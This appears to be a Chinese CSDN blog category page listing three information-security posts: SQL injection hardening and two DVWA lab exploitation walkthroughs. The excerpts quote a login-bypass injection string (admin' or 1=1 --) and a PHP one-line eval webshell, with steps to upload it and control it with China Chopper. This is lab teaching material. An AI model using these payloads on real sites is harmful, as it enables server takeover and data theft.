![](https://img-blog.csdnimg.cn/20201014180756930.png?x-oss-process=image/resize,m_fixed,h_64,w_64)
信息安全
文章平均质量分 64
LapMoby盼
这个作者很懒,什么都没留下…
展开
-
web安全加固
web安全加固任务一:SQL注入防范1、部署并运行Blog项目,在用户登录界面用户名处输入万能密码admin’ or 1=1 --‘,密码处输入任意字符,点击登录,观察是否能绕过后台登录系统。原因:项目使用PreparedStatement方法完成SQL语句的执行,该方法要求在执行SQL语句之前,必须告诉JDBC哪些值作为输入参数,解决了普通Statement方法的注入问题,极大的提高了SQL语句执行的安全性。2、在项目中找到用户登录模块所使用的关键SQL语句。3、修改登录模块的SQL查询相关语句原创 2022-04-23 16:47:04 · 268 阅读 · 0 评论 -
【无标题】信息安全之漏洞利用(二)
信息安全之漏洞利用二任务四:文件上传1、建立一个PHP文件,内容为:<?php @eval($_POST['pass']);?>。2、打开File Upload界面,将PHP一句话木马上传。3、得到木马在服务器上的路径。如图4、打开中国菜刀,把上传木马路径添加到工具上。5、双击网址进入文件管理。(注:这里可以进行文件管理,数据库管理,虚拟终端或运行自写脚本)如图任务五:1、打开SQL Injection界面,该界面的功能是通过输入User ID查询Username。2、输入原创 2022-04-23 16:04:53 · 2669 阅读 · 0 评论 -
信息安全之漏洞利用(一)
信息安全之漏洞利用(一)首先安装所需要的软件工具phpStudy+DVWA漏洞演练平台1.首先安装phpstudy,安装完成后启动phpStudy主界面,当看到 Apache 和 MySQL 文字后面红色的圆点变成绿色时,表示服务启动成功。如下图所示:有些时候会报端口错误,我这个没报,当与端口冲突时可以在任务管理器找到冲突端口程序关闭,或者进入其他选项菜单,找到PHP设置,修改httpd端口(默认为80)2. 将DWVA压缩包解压到phpStudy的WWW文件夹中。3. 3、 配置DVWA链接数原创 2022-04-23 15:06:05 · 591 阅读 · 0 评论